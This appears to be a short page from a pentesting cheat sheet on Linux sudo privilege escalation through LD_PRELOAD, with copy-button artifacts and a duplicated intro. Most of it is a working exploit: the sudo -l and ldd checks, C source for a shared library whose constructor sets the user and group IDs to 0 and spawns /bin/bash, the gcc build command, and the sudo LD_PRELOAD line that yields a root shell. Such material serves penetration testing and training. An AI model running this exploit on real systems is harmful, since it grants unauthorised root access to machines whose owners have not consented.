Sudo Privilege Escalation by Overriding Shared Library
LD_PRELOAD and LD_LIBRARY_PATH might be vulnerable to privilege escalation (PrivEsc).
sudo -l
Copied!env_keep+=LD_PRELOAD
(ALL : ALL) NOPASSWD: somecmd
Copied!ldd somecmd
Copied!Last updated

LD_PRELOAD and LD_LIBRARY_PATH might be vulnerable to privilege escalation (PrivEsc).
sudo -l
Copied!env_keep+=LD_PRELOAD
(ALL : ALL) NOPASSWD: somecmd
Copied!ldd somecmd
Copied!Last updated
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void inject()__attribute__((constructor));
void inject() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash");
}
Copied!# -fPIC: Generate Position Independent Code.
# -shared: Generate a shared library.
# -o: Output shared object.
gcc -fPIC -shared -o exploit.so exploit.c
Copied!sudo LD_PRELOAD=/tmp/exploit.so somecmd